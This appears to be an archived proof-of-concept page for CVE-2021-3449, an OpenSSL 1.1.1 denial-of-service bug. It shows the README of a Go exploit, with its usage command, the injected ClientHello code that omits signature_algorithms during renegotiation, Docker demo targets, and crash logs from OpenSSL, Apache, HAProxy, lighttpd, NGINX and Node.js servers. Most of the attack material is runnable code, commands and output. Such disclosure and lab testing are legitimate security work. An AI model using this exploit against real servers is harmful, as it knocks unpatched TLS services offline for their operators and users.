Associated Vulnerability
Title:NULL pointer deref in signature_algorithms processing (CVE-2021-3449)Description:An OpenSSL TLS server may crash if sent a maliciously crafted renegotiation ClientHello message from a client. If a TLSv1.2 renegotiation ClientHello omits the signature_algorithms extension (where it was present in the initial ClientHello), but includes a signature_algorithms_cert extension then a NULL pointer dereference will result, leading to a crash and a denial of service attack. A server is only vulnerable if it has TLSv1.2 and renegotiation enabled (which is the default configuration). OpenSSL TLS clients are not impacted by this issue. All OpenSSL 1.1.1 versions are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1k. OpenSSL 1.0.2 is not impacted by this issue. Fixed in OpenSSL 1.1.1k (Affected 1.1.1-1.1.1j).
Description
CVE-2021-3449 OpenSSL denial-of-service exploit π¨π»βπ»
Readme
# CVE-2021-3449 OpenSSL <1.1.1k DoS exploit
Usage: `go run . -host hostname:port`
This program implements a proof-of-concept exploit of CVE-2021-3449
affecting OpenSSL servers pre-1.1.1k if TLSv1.2 secure renegotiation is accepted.
It connects to a TLSv1.2 server and immediately initiates an RFC 5746 "secure renegotiation".
The attack involves a maliciously-crafted `ClientHello` that causes the server to crash
by causing a NULL pointer dereference (Denial-of-Service).
## References
- [OpenSSL security advisory](https://www.openssl.org/news/secadv/20210325.txt)
- [cve.mitre.org](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3449)
- [Ubuntu security notice](https://ubuntu.com/security/notices/USN-4891-1) (USN-4891-1)
- [Debian security tracker](https://security-tracker.debian.org/tracker/CVE-2021-3449)
- [Red Hat CVE entry](https://access.redhat.com/security/cve/CVE-2021-3449)
> This issue was reported to OpenSSL on 17th March 2021 by Nokia. The fix was
> developed by Peter KΓ€stle and Samuel Sapalski from Nokia.
## Mitigation
The only known fix is to update `libssl1.1`.
Even though some applications use hardened TLS configurations by default that disable TLS renegotiation,
they are still affected by the bug if running an old OpenSSL version.
## Exploit
`main.go` is a tiny script that connects to a TLS server, forces a renegotiation, and disconnects.
The exploit code was injected into a bundled version of the Go 1.14.15 `encoding/tls` package.
You can find it in `handshake_client.go:115`. The logic is self-explanatory.
```go
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
if c.handshakes == 0 {
println("sending initial ClientHello")
hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
} else {
// OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
// if the supported_signature_algorithms extension is omitted,
// but supported_signature_algorithms_cert is present.
println("sending malicious ClientHello")
hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
}
}
```
β [@terorie](https://github.com/terorie)
## Demo
The `demo/` directory holds configuration to patch various apps with a vulnerable version of OpenSSL.
Test setup:
- Download and compile the vulnerable OpenSSL 1.1.1j version locally
- Prepare an Ubuntu 20.04 target container and upload the OpenSSL libraries
- Install application onto target container
- Start server and execute attack
Requirements:
- OpenSSL (on the host)
- `build-essential` (Perl, GCC, Make)
- Docker
**Note: None of the listed web servers are vulnerable to CVE-2021-3449 with OpenSSL 1.1.1k or later.**
| Server | Distro | Version | Demo | Result |
| -------------------------------------------- | ------------ | ------- | -------------------- | ------------- |
| [OpenSSL s_server](#openssl-simple-server) | - | 1.1.1j | `make demo-openssl` | Crash |
| [Apache2](#apache2-httpd) | Ubuntu 18.04 | 2.4.29 | `make demo-apache2` | Partial crash |
| [HAProxy](#haproxy) | Ubuntu 18.04 | 1.8.8 | `make demo-haproxy` | Crash |
| [HAProxy](#haproxy) | Ubuntu 20.04 | 2.0.13 | `make demo-haproxy` | No effect |
| [lighttpd](#lighttpd) | Ubuntu 18.04 | 1.4.55 | `make demo-lighttpd` | Crash |
| [lighttpd](#lighttpd) | Ubuntu 20.04 | 1.4.55 | `make demo-lighttpd` | Crash |
| [lighttpd](#lighttpd) | Ubuntu 21.04 | 1.4.59 | `make demo-lighttpd` | No effect with config option |
| [NGINX](#nginx) | Ubuntu 18.04 | 1.14.0 | `make demo-nginx` | Partial crash |
| [NGINX](#nginx) | Ubuntu 20.04 | 1.18.0 | `make demo-nginx` | No effect |
| Node.js <=12 | Ubuntu 18.04 | | | No effect |
| [Node.js >12](#nodejs) | Ubuntu 18.04 | ? | `make demo-nodejs` | Crash |
| [Node.js >12](#nodejs) | Ubuntu 18.04 | 15.14.0 | `make demo-nodejs` | No effect |
To clean up all demo resources, run `make clean`.
### OpenSSL simple server
The `openssl s_server` is a minimal TLS server implementation.
* `make demo-openssl`: Full run (port 4433)
* `make -C demo build-openssl`: Build target Docker image
* `make -C demo start-openssl`: Start target at port 4433
* `make -C demo stop-openssl`: Stop target
Result: Full server crash.
**Logs**
```
docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello
[[truncated]]
Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0 0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1 0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2 0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3 0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4 0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5 0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6 0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7 0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8 0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9 0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked
```
### Apache2 httpd
Apache2 `httpd` web server with default configuration is vulnerable.
* `make demo-apache`: Full run (port 443)
* `make -C demo build-apache`: Build target Docker image
* `make -C demo start-apache`: Start target at port 443
* `make -C demo stop-apache`: Stop target
Thank you to [@binarytrails](https://github.com/binarytrails) for the contribution.
Result: Partial disruption, main process still alive but worker process crashed.
**Logs**
```
docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &
[[truncated]]
sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2
```
### HAProxy
HAProxy versions 2.0.13 and up are not affected.
Versions before at least 1.8.8 are vulnerable with "intermediate" TLS configuration is vulnerable.
* `make demo-haproxy`: Full run (port 4433)
* `make -C demo build-haproxy`: Build target Docker image
* `make -C demo start-haproxy`: Start target at port 4433
* `make -C demo stop-haproxy`: Stop target
Tests run using master-worker mode (`-W` flag, default on Debian).
Surprisingly, the master process exits if a worker process dies.
Result: Full server crash.
**Logs**
```
docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)
```
### lighttpd
lighttpd versions 1.4.56 and up are not vulnerable if `ssl.disable-client-renegotiation = "enable"` is configured in lighttpd.conf.
lighttpd web server <= 1.4.55 with "intermediate" TLS configuration is vulnerable.
* `make demo-lighttpd`: Full run (port 4433)
* `make -C demo build-lighttpd`: Build target Docker image
* `make -C demo start-lighttpd`: Start target at port 4433
* `make -C demo stop-lighttpd`: Stop target
Result: Full server crash.
**Logs**
```
docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1: 7 Segmentation fault lighttpd -D -f /etc/lighttpd/lighttpd.conf
```
### NGINX
NGINX versions 1.18.0 and up are not vulnerable.
NGINX 1.14.0 web server with common configuration is vulnerable. (https://nginxconfig.io)
NGINX versions >1.15.4 with OpenSSL >=1.1.1 are assumed to be fine,
since they include the `SSL_OP_NO_RENEGOTIATION` patch:
http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html
* `make demo-nginx`: Full run (port 4433)
* `make -C demo build-nginx`: Build target Docker image
* `make -C demo start-nginx`: Start target at port 4433
* `make -C demo stop-nginx`: Stop target
Result: Partial disruption, main process still alive but worker process crashed.
**Logs**
```
docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)
```
### Node.js
Node.js `https.createServer()` is vulnerable.
* `make demo-nodejs`: Full run (port 4433)
* `make -C demo build-nodejs`: Build target Docker image
* `make -C demo start-nodejs`: Start target at port 4433
* `make -C demo stop-nodejs`: Stop target
Result: Full server crash.
**Logs**
```
server started
sending initial ClientHello
connected
sending malicious ClientHello
Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0 0x000000000160714e in tls1_process_sigalgs ()
#1 0x00000000016074b3 in tls1_set_server_sigalgs ()
#2 0x00000000016007dd in tls_post_process_client_hello ()
#3 0x00000000015ef692 in state_machine.part ()
#4 0x00000000015c1a6d in ssl3_read_bytes ()
#5 0x00000000015ca2c7 in ssl3_read ()
#6 0x00000000015d6491 in SSL_read ()
#7 0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8 0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9 0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF
```
## Copyright
This repository bundles the `encoding/tls` package of the Go programming language.
```
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
```
File Snapshot
[4.0K] /data/pocs/45480592b9acaafead2a7e22a5bcc641651829f1
βββ [4.0K] demo
βΒ Β βββ [ 601] apache-default-ssl.conf
βΒ Β βββ [ 324] apache.Dockerfile
βΒ Β βββ [ 398] base.Dockerfile
βΒ Β βββ [1.1K] haproxy.cfg
βΒ Β βββ [ 225] haproxy.Dockerfile
βΒ Β βββ [1018] lighttpd-10-ssl.conf
βΒ Β βββ [ 272] lighttpd.Dockerfile
βΒ Β βββ [2.4K] Makefile
βΒ Β βββ [1.4K] nginx.conf
βΒ Β βββ [ 239] nginx.Dockerfile
βΒ Β βββ [ 296] nodejs.Dockerfile
βΒ Β βββ [ 306] nodejs.js
βΒ Β βββ [ 97] openssl-1.1.1j.tar.gz.sha256sum
βΒ Β βββ [ 139] openssl.Dockerfile
βββ [ 94] go.mod
βββ [ 824] go.sum
βββ [ 906] main.go
βββ [1.0K] Makefile
βββ [ 14K] README.md
βββ [4.0K] tls
βββ [3.0K] alert.go
βββ [8.7K] auth.go
βββ [ 14K] cipher_suites.go
βββ [ 32K] common.go
βββ [ 38K] conn.go
βββ [4.5K] generate_cert.go
βββ [ 25K] handshake_client.go
βββ [ 43K] handshake_messages.go
βββ [ 11K] key_agreement.go
βββ [3.1K] key_schedule.go
βββ [8.3K] prf.go
βββ [2.2K] ticket.go
βββ [3.2K] tls.go
2 directories, 32 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers β if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online β thank you for the support. View subscription plans β